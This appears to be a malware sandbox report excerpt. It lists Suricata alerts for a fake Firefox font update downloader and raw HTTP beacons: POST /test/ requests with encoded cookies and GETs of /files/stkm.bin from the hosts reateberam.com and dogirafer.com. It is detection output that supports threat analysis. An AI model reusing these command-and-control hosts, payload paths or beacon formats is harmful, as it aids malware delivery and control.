Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49941 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49950 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49962 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49968 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49972 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49980 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49986 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49995 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49999 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50000 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50003 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50004 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50005 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50007 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50010 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50008 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50001 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50006 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50011 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50002 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50009 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50014 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50013 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50016 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50012 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50023 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50020 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50024 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50021 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50026 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50030 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50027 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50035 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50029 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50031 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50022 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50028 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50018 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50017 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50037 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50032 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50015 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50039 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50034 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50033 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50036 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50038 -> 104.21.68.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50025 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50019 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49950 -> 172.67.217.190:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49934 -> 172.67.217.190:443

Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hmdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hndViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hldViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.com
Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/stkm.bin HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.com
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hidViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hjdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgbUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hgdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgbUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hhdViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgbUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hudViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgbUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hvdViRxTPtzGAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWue3fktILuaWLzMztNgbUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 12232Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TudUNGNfWRLCRv+dQZsw==User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: dogirafer.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hnagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkYQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkYAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkZwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkZgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkZQqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkZAqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkawqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hkagqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlYwqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: aXLYGobmm+hlYgqczCa1wndZbQ+OUCzeHv2wuiTNZSDQnRHz02mh6/ifwEVsJjYieJqQlQFhBbSp4ONZ656uso19uGMKTT4Y4pL8ZwxOVRsYT1b/oc3OT2Lds2xKacxaoas4xR7ou6vSRzRo9ly1QGSXQIxpW7TuY0lAKOKSLzN8upkVsQ8=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: reateberam.comContent-Length: 0Cache-Control: no-cache
